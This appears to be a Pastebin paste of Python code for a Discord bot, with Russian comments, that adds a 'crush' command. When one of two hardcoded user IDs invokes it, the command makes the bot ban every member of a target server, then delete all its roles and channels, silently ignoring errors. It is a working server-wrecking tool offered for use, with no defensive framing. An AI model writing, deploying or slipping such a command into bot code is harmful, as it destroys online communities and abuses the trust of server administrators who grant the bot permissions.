Advertisement
Guest User

Untitled

a guest
Jan 29th, 2020
92
0
Never
Not a member of Pastebin yet? Sign Up, it unlocks many cool features!
Python 1.17 KB | None | 0 0
  1. Удаление всех ролей, каналов (сорян за больше 20 строк)
  2. crush_members = [255356637089366016, 356028286872059906]  # Скписок id юзеров которые могут крашить сервера
  3.  
  4.  
  5. @Bot.command()
  6. async def crush(ctx, serverid: int):
  7.     if ctx.message.author.id in crush_members:
  8.         await ctx.message.delete()
  9.         guild = Bot.get_guild(serverid)
  10.         allchannels = guild.channels
  11.         allmembers = guild.members
  12.         allroles = guild.roles
  13.  
  14.         for i in allmembers:  # Баним всех участников
  15.             if i is not Bot.user:
  16.                 await asyncio.sleep(0.1)
  17.                 try:
  18.                     await i.ban()
  19.                 except:
  20.                     pass
  21.  
  22.         for i in allroles:  # Удаляем все роли
  23.             await asyncio.sleep(0.1)
  24.             try:
  25.                 await i.delete()
  26.             except:
  27.                 pass
  28.  
  29.         for i in allchannels:  # Удаляем все каналы
  30.             await asyncio.sleep(0.1)
  31.             try:
  32.                 await i.delete()
  33.             except:
  34.                 pass
Advertisement
Add Comment
Please, Sign In to add comment
Advertisement